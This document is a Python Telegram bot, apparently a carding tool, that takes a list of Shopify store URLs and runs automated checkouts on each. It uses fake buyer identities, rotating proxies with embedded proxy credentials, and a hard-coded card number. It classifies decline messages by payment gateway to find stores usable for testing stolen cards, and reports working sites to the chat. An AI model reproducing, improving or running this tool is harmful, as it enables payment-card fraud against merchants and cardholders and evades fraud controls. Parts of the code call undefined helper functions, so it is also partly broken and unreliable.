import os
required_packages = ['telebot', 'validators', 'httpx', 'faker', 'requests']
for package in required_packages:
    try:
        __import__(package)
    except ImportError:
        os.system(f'pip install {package}')
else:
    os.system('cls' if os.name == 'nt' else 'clear')

from random import randint, choice
from string import ascii_letters
from urllib.parse import urlparse
from validators import url as url_validator
from asyncio import sleep
from time import perf_counter
from httpx import AsyncClient, Response, RemoteProtocolError, ProxyError, ReadTimeout
from faker import Faker
from requests import get
import time
import requests
import re
import asyncio
import json
import random
import telebot
from telebot.types import InlineKeyboardButton, InlineKeyboardMarkup

bot = telebot.TeleBot("TOKEN")

fake = Faker()
path_json_keysh = "keysh.json"
session = requests
HEADERS_BASE = {
    "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "accept-language": "es,es-ES;q=0.9,en;q=0.8,pt;q=0.7,am;q=0.6",
    "content-type": "application/x-www-form-urlencoded",
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
}


def capture(data, first, last):
  try:
      start = data.index(first) + len(first)
      end = data.index(last, start)
      return data[start:end]

  except ValueError:
      return
def get_random_proxy():
    url = "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=https&timeout=100000&country=all&ssl=all&anonymity=all"
    proxies_text = get(url).text
    proxies_list = proxies_text.split('\r\n')
    random_proxy = random.choice(proxies_list)
    return random_proxy
def type(msg2: str):
    if msg2 in ["2010 Card Issuer Declined CVV", "2047 Call Issuer. Pick Up Card.", "2007 No Account", "2044 Declined - Call Issuer", "2038 Processor Declined", "2014 Processor Declined - Fraud Suspected", "2000 Do Not Honor", "2001 Insufficient Funds", "2015 Transaction Not Allowed", "2019 Invalid Transaction", "2106 Cannot Authorize at this time (Policy)", "Transaction declined - gateway rejected"] or "Cannot" in msg2:
        type = "Shopify + Braintree"
    elif msg2 == "CVV does not match":
        type = "Shopify + Spreedly"
    elif msg2 in ["Security codes does not match", "AVS result is declined by user", "Exc App Amt Lmt", "Insuff Funds", "02 Try later", "No Such Issuer", "CVV2 Mismatch", "03 Do not retry", "AVS REJECTED"]:
        type = "Shopify Mix"
    elif msg2 in ["CVD ERROR                       99048", "AUTH DECLINED                   09001", "*REQUEST DENIED*                99019", "INVALID CARD NO                 99005", "Declined use updated card", "Card declined do not retry", "Information Details", "Declined refer call to issue", "LOST/STOLEN CARD                99016", "HOLD - CALL                     99003"] or "AUTH" in msg2:
        type = "Shopify + Moneris"
    elif msg2 in ["Transaction Normal - Invalid CC Number", "Transaction Normal - Insufficient Funds", "Address not Verified - Insufficient Funds", "Transaction Normal - Suspected Fraud", "Address not Verified - Suspected Fraud", "Address not Verified - Restraint", "Address not Verified - Pickup", "Transaction Normal - Over Limit Frequency", "Address not Verified - Declined", "Transaction Normal - Pickup", "Transaction Normal - Lost/Stolen", "Transaction Normal - Over the limit", "Address not Verified - No Account", "Transaction Normal - Invalid Transaction", "Transaction Normal - Unauthorized User", "Transaction Normal - Account Closed", "Transaction Normal - Declined"]:
        type = "Shopify + Payeezy"
    elif msg2 in ["CVV2 Mismatch", "Invalid expiration date: 10502-This transaction cannot be processed. Please use a valid credit card.", "Declined: 10541-Please use a different payment card.", "Declined: 15005-This transaction cannot be processed", "Invalid account number: 10535-This transaction cannot be processed. Please enter a valid credit card number and type.", "CVV2 Mismatch: 15004-This transaction cannot be processed. Please enter a valid Credit Card Verification Number.", "Invalid account number: 10535-This transaction cannot be processed. Please enter a valid credit card number and type.", "Declined: 15005-This transaction cannot be processed.", "Field format error: 12002-This transaction cannot be processed due to either missing, incomplete or invalid 3-D Secure authentication values.", "Declined: 10541-Please use a different payment card."]:
        type = "Shopify + Payflow"
    elif msg2 in ["CVC Declined", "Issuer Suspected Fraud | 59 : Suspected fraud", "Refused", "FRAUD"]:
        type = "Shopify + Adyen"
    elif msg2 in ["This transaction has been declined", "Street address and postal code do not match.", "No Match"]:
        type = "Shopify Avs"
    elif msg2 in ["CVV Validation Error  Failed", "Do Not Honour Failed", "Restricted Card Failed", "Suspected Fraud Failed", "Refer to Card Issuer", "Refer To Issuer Failed", "Do Not Honour"]:
        type = "Shopify"
    elif msg2 in ["Restraint", "Invalid Credit Card Number", "Pickup", "Invalid Institution Code", "Call Voice Center", "Do Not Honor", "Declined call issuer", "Invalid Transaction Type", "Credit Floor", "CVV2/CVC2 Failure"]:
        type = "Shopify + Chasepaymentech"
    elif msg2 in ["Decline for CVV2 Failure", "Closed Account", "40187 - Verified Info - BIN country in high risk country - Decline", "Security", "Pick Up Card (No Fraud)", "Suspected Fraud", "Insufficient Funds", "40161 - Email velocity - Daily - All transactions - Decline"]:
        type = "Shopify + Chase"
    elif msg2 in ["40161 - Email velocity - Daily - All transactions - Decline", "40229 - CardHolder Name Velocity - Daily - All transactions - Decline", "40187 - Verified Info - BIN country in high risk country - Decline"]:
        type = "Shopify + Chase Orbital Gateway"
    elif msg2 in ["Stolen or lost card", "Inactive card or card not authorized for card-not-present transactions", "General decline of the card", "The card has reached the credit limit", "Invalid card verification number", "The authorization request was approved by the issuing bank but declined by CyberSource because it did not pass the AVS check"] or "Cybersource" in msg2:
        type = "Shopify + Cybersource"
    elif "/checkouts/c/" in msg2:
        type = "Shopify + Stripe"
    else:
        type = "Shopify"
    return type


path_json_keysh = "assets/keysh.json"

HEADERS_BASE = {
    "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "accept-language": "es,es-ES;q=0.9,en;q=0.8,pt;q=0.7,am;q=0.6",
    "content-type": "application/x-www-form-urlencoded",
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
}


async def autoshopify(
    url: str,
    card: str,
    month: str,
    year: str,
    cvv: str,
):

    ini = perf_counter()


    if not isinstance(url, str):
        raise TypeError("'url' must be an instance of 'str'")
    if not isinstance(card, str):
        raise TypeError("'card' must be an instance of 'str'")
    if not isinstance(month, str):
        raise TypeError("'month' must be an instance of 'str'")
    if not isinstance(year, str):
        raise TypeError("'year' must be an instance of 'str'")
    if not isinstance(cvv, str):
        raise TypeError("'cvv' must be an instance of 'str'")
    result = url_validator(url)

    attempts = 0
    proxies = {
    "http://rp.proxyscrape.com:6060": "http://0vlv3kx7svpm655:rxcvqujk9utaemx@rp.proxyscrape.com:6060",
  }
    while True:
        async with AsyncClient(
            follow_redirects=True,
            timeout=40,
            verify=False,
            proxies=proxies,
            headers=HEADERS_BASE,
        ) as s:
            try:
                url_request = await s.get(
                    url,
                )

                url_request = str(url_request.url)
                url_parsed = urlparse(url_request)
                url_base = url_parsed.scheme + "://" + url_parsed.netloc
                product_id = await get_product_id(f"{url_base}/products.json", s)
                if not product_id and "shoepalace" in str(url_base):
                    product_id = "32645128224814"
                if not product_id:
                    raise Exception("Product ID not found")

                params = {
                    "traffic_source": "buy_now",
                    "properties": "JTdCJTIyX192ZXJpZmljYXRpb24lMjIlM0ElMjJ2YWxpZCUyMiU3RA==",
                }

                checkout_request = await s.get(
                    f"{url_base}/cart/{product_id}:1",
                    params=params,
                )

                cl = checkout_request.headers.get("Content-Language")
                checkout_text = checkout_request.text

                url_checkout = checkout_request.url

                url_checkout_str = str(url_checkout)
                if "/c/" in url_checkout_str or "/cn/" in url_checkout_str:
                    raise Exception("graphql")

                first_token = generate_random_string(86)

                name = "Sachio" + str(randint(100, 999))
                last = "YT" + str(randint(100, 999)).upper()
                r = str(randint(100, 999))
                street = (r + " W " + r + " nd St ").upper()

                if cl and ("au" in cl or "cc" in cl or "nz" in cl or ".au" in url_base):
                    city = "Sydney"
                    state = "New South Wales"
                    statecode = "NSW"
                    country = "Australia"
                    countrycode = "AU"
                    zip_ = randint(2007, 2020)
                    phone = f"{randint(100, 999)}{randint(100, 999)}{randint(100, 999)}"
                elif cl and ("ca" in cl or ".ca" in url_base):
                    city = "St-L�onard"
                    state = "Quebec"
                    statecode = "QC"
                    country = "Canada"
                    countrycode = "CA"
                    zip_ = "H1S 1N2"
                    phone = f"{randint(100, 999)}{randint(100, 999)}{randint(100, 999)}"
                else:
                    city = "New York"
                    state = "New York"
                    statecode = "NY"
                    country = "United States"
                    countrycode = "US"
                    zip_ = randint(10004, 10033)
                    phone = (
                        f"1{randint(100, 999)}{randint(100, 999)}{randint(100, 999)}"
                    )

                city = city.upper()
                state = state.upper()
                country = country.upper()
                data_ship = {
                    "_method": "patch",
                    "authenticity_token": first_token,
                    "previous_step": "contact_information",
                    "step": "shipping_method",
                    "checkout[email]": fake.email(),
                    "checkout[buyer_accepts_marketing]": "0",
                    "checkout[shipping_address][first_name]": name,
                    "checkout[shipping_address][first_name]": name,
                    "checkout[shipping_address][last_name]": last,
                    "checkout[shipping_address][last_name]": last,
                    "checkout[shipping_address][address1]": street,
                    "checkout[shipping_address][address1]": street,
                    "checkout[shipping_address][address2]": "",
                    "checkout[shipping_address][address2]": "",
                    "checkout[shipping_address][city]": city,
                    "checkout[shipping_address][city]": city,
                    "checkout[shipping_address][country]": countrycode,
                    "checkout[shipping_address][country]": country,
                    "checkout[shipping_address][province]": state,
                    "checkout[shipping_address][province]": statecode,
                    "checkout[shipping_address][zip]": zip_,
                    "checkout[shipping_address][zip]": zip_,
                    "checkout[shipping_address][phone]": phone,
                    "checkout[shipping_address][phone]": phone,
                    "checkout[remember_me]": "",
                    "checkout[remember_me]": 0,
                    "checkout[client_details][browser_width]": "360",
                    "checkout[client_details][browser_height]": "621",
                    "checkout[client_details][javascript_enabled]": "1",
                    "checkout[client_details][color_depth]": "24",
                    "checkout[client_details][java_enabled]": "false",
                    "checkout[client_details][browser_tz]": "300",
                }
                information_request = await s.post(
                    url_checkout,
                    data=data_ship,
                )
                information_response = information_request.text

                await request_shipping_method(
                    s, url_checkout, first_token, information_response
                )

                params = {"previous_step": "shipping_method", "step": "payment_method"}
                previous_step_request = await s.get(
                    url_checkout,
                    params=params,
                )
                previous_step_response = previous_step_request.text

                payment_gateway = capture(
                    previous_step_response, 'data-select-gateway="', '"'
                )
                if not payment_gateway:
                    raise Exception("'payment_gateway' not found")
                total_price = capture(
                    previous_step_response, 'data-checkout-payment-due-target="', '"'
                )
                json_data = {
                    "credit_card": {
                        "number": card,
                        "name": name,
                        "month": int(month),
                        "year": int(year),
                        "verification_value": cvv,
                    },
                    "payment_session_scope": url_parsed.netloc,
                }

                headers = {
                    "Accept": "application/json",
                    "Accept-Language": "es,es-ES;q=0.9,en;q=0.8,pt;q=0.7,am;q=0.6",
                    "Connection": "keep-alive",
                    "Content-Type": "application/json",
                    "Origin": "https://checkout.shopifycs.com",
                    "Pragma": "no-cache",
                    "Referer": "https://checkout.shopifycs.com/",
                    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36",
                }

                session_pay_request = await s.post(
                    "https://deposit.us.shopifycs.com/sessions",
                    json=json_data,
                    headers=headers,
                )
                session_pay_response = session_pay_request.text

                if not '"id"' in session_pay_response.lower():
                    raise ValueError("Invalid CC")
                session_pay_response = session_pay_request.json()

                s_card = session_pay_response["id"]

                data_pay = {
                    "_method": "patch",
                    "authenticity_token": first_token,
                    "previous_step": "payment_method",
                    "step": "",
                    "s": s_card,
                    "checkout[payment_gateway]": payment_gateway,
                    "checkout[credit_card][vault]": "false",
                    "checkout[different_billing_address]": "false",
                    "checkout[vault_phone]": phone,
                    "checkout[total_price]": total_price,
                    "complete": "1",
                    "checkout[client_details][browser_width]": "360",
                    "checkout[client_details][browser_height]": "621",
                    "checkout[client_details][javascript_enabled]": "1",
                    "checkout[client_details][color_depth]": "24",
                    "checkout[client_details][java_enabled]": "false",
                    "checkout[client_details][browser_tz]": "300",
                }

                pay = await s.post(
                    url_checkout,
                    data=data_pay,
                )
                pay_t = pay.text
                sitekey = capture(pay_t, 'sitekey: "', '"')

                if "I'm not a robot" in pay_t or "reCAPTCHA" in pay_t:
                    try:
                        with open(path_json_keysh, "r") as f:
                            data = json.load(f)
                    except FileNotFoundError:
                        data = {}

                    if sitekey:
                        data.update({url_base: sitekey})

                        with open(path_json_keysh, "w") as f:
                            json.dump(data, f, indent=2)

                await sleep(5)


                requests_final = await s.get(
                    f"{url_checkout}?from_processing_page=1&validate=true",
                )
                requests_final_response = requests_final.text

                if "Review order" in requests_final_response:
                    data = {
                        "_method": "patch",
                        "authenticity_token": first_token,
                        "checkout[client_details][browser_width]": "774",
                        "checkout[client_details][browser_height]": "657",
                        "checkout[client_details][javascript_enabled]": "1",
                        "checkout[client_details][color_depth]": "24",
                        "checkout[client_details][java_enabled]": "false",
                        "checkout[client_details][browser_tz]": "360",
                    }
                    await s.post(url_checkout, data=data)
                    session_pay_request = await s.post(
                        "https://deposit.us.shopifycs.com/sessions",
                        json=json_data,
                        headers=headers,
                    )
                    session_pay_response = session_pay_request.json()

                    s_card = session_pay_response["id"]
                    data_pay["s"] = s_card
                    await s.post(
                        url_checkout,
                        data=data_pay,
                    )
                    await sleep(5)
                    requests_final = await s.get(
                        f"{url_checkout}?from_processing_page=1&validate=true",
                    )
                    requests_final_response = requests_final.text
                msg = capture(
                    requests_final_response, '<p class="notice__text">', "</p>"
                )

                final = perf_counter() - ini
                gate = type(str(msg))
                amt = cd(str(total_price))
                card = f"{card}|{month}|{year}|{cvv}"
                site = f"{url_parsed.netloc}"
                gate = f"{gate} ${amt}"
                tme = f"{final:0.3}"
                result = "Good_Shopify"
                result =f"Result : {result}\nSite: {site}\nCC: {card}\nGate: {gate}\nMsg: {msg}\nTime: {tme}" 
                return result
            except Exception as e:
                result = "Bad_Shopify" 
                return result
                pass
            

def cd(cents_str):
    try:
        cents = int(cents_str)
        dollars = cents // 100
        remaining_cents = cents % 100
        return f"{dollars}.{remaining_cents:02d}"
    except ValueError:
        return "Invalid input: Please provide a valid number of cents."

async def get_product_id(url: str, session: AsyncClient) -> int | None:
    response = await session.get(url)
    response_data = response.json()
    products_data = response_data["products"]
    products = {}
    for product in products_data:
        variants = product["variants"]
        variant = variants[0]
        product_id = variant["id"]
        available = variant["available"]
        price = float(variant["price"])
        if price < 0.1:
            continue
        if available:
            products[product_id] = price
    if products:
        min_price_product_id = min(products, key=products.get)
        return min_price_product_id
    return None


async def get_status(
    request_response: Response, response_shopify: str, price: str
) -> tuple:
    url = str(request_response.url)
    msg = response_shopify
    responses = json.load(open("assets/responses.json"))
    if "thank_you" in url or "post_purchase" in url:
        status1 = "Approved! ? -� charged!"
        msg = f"Thank You! -� {price[:2]}$"
    elif "3d_secure_2" in url:
        msg = "3d_secure_2"
    elif not msg:
        raise Exception("Response not found")
    elif response_shopify in responses["avs"]:
        status1 = "Approved! ? -� avs"
    elif response_shopify in responses["low_funds"]:
        status1 = "Approved! ? -� low funds"
    elif response_shopify in responses["ccn"]:
        status1 = "Approved! ? -� ccn"
    else:
        status1 = "Dead! ?"
    return msg, status1


generate_random_string = lambda length: "".join(
    choice(ascii_letters) for _ in range(length)
)


async def request_shipping_method(s, url_checkout, first_token, information_response):
    shipping = None
    data = {
        "_method": "patch",
        "authenticity_token": first_token,
        "previous_step": "shipping_method",
        "step": "payment_method",
        "checkout[shipping_rate][id]": "",
        "checkout[client_details][browser_width]": "774",
        "checkout[client_details][browser_height]": "657",
        "checkout[client_details][javascript_enabled]": "1",
        "checkout[client_details][color_depth]": "24",
        "checkout[client_details][java_enabled]": "false",
        "checkout[client_details][browser_tz]": "360",
    }
    for _ in range(3):
        shipping = find_shipping_method(information_response)
        if shipping:
            break

        shipping = "shopify-Economy-5" 
        data["checkout[shipping_rate][id]"] = shipping
        shipping_request = await s.post(
            url_checkout,
            data=data,
        ) 
        information_response = shipping_request.text

    if not shipping:
        raise Exception("Shipping not found after 3 attempts")
    data["checkout[shipping_rate][id]"] = shipping
    await s.post(
        url_checkout,
        data=data,
    )


def find_shipping_method(response):
    ship1 = capture(response, '<div class="radio-wrapper" data-shipping-method="', '">')
    ship2 = capture(response, 'shipping-method="', '"')
    ship3 = capture(response, 'type="radio" value="', '"')
    ship4 = capture(response, 'data-shipping-method="', '"')
    ship5 = capture(response, 'data-backup="', '"')
    ship6 = capture(response, 'shipping-method="', '"')

    return next(
        (ship for ship in [ship1, ship2, ship3, ship4, ship5, ship6] if ship), None
    )


def proxy_sh(is_premium: True, credits: int):
    proxy = random_proxy()

    if is_premium or credits > 10:
        proxy = random_proxy_sh()
    return proxy

async def technogay(site):
    cc,mon,year,cvc = "5191230188397310|12|2025|987".split("|")
    gay =await autoshopify(str(site),str(cc),str(mon),str(year),str(cvc))
    return gay

def process_lines(lines, message, aux):
    loop = asyncio.new_event_loop()
    asyncio.set_event_loop(loop)
    loop.run_until_complete(process_lines_async(lines, message, aux))
    loop.close()

async def process_lines_async(lines, message, aux):
    total = len(lines)
    start_time = time.time()
    ok, dead, checked = 0, 0, 0

    for sh in lines:
        sh = sh.strip()
        if not sh:
            continue
        checked += 1
        result = await technogay(sh)
        if "Good_Shopify" in result:
            ok += 1
            bot.reply_to(message, result, parse_mode='HTML')
        else:
            dead += 1

        buttons = [
            [InlineKeyboardButton(f"? {sh} ?", callback_data='u8')],
            [InlineKeyboardButton(f"✅ OK : [ {ok} ] ✅", callback_data='x'), InlineKeyboardButton(f"❌ Dead : [ {dead} ] ❌", callback_data='x')],
            [InlineKeyboardButton(f"? Checked : [ {checked} ] ?", callback_data='x'), InlineKeyboardButton(f"? Total : [ {total} ] ?", callback_data='x')]
        ]
        reply_markup = InlineKeyboardMarkup(buttons)
        bot.edit_message_text(chat_id=message.chat.id, message_id=aux, text="<b>Checking your sites...</b>", parse_mode='HTML', reply_markup=reply_markup)

    end_time = time.time()
    execution_time = end_time - start_time
    forfull = "{:.1f}".format(execution_time)

    bot.edit_message_text(chat_id=message.chat.id, message_id=aux, text=f"✅ OK : {ok}\n❌ Dead : {dead}\n? Total : {total}\n⏳ Time : {forfull} seconds", parse_mode='HTML')

@bot.message_handler(content_types=["document"])
def shopifycheck(message):
    try:
        aux = bot.reply_to(message, "<b>Processing...</b>", parse_mode='HTML').message_id    
        file_info = bot.get_file(message.document.file_id)
        downloaded_file = bot.download_file(file_info.file_path)
        
        with open("combo.txt", "wb") as new_file:
            new_file.write(downloaded_file)

        with open("combo.txt", 'r') as file:
            lines = file.readlines()

        process_lines(lines, message, aux)
        os.remove("combo.txt")
    except Exception as e:
        print(f"Error: {e}")

print("Bot started")
bot.polling()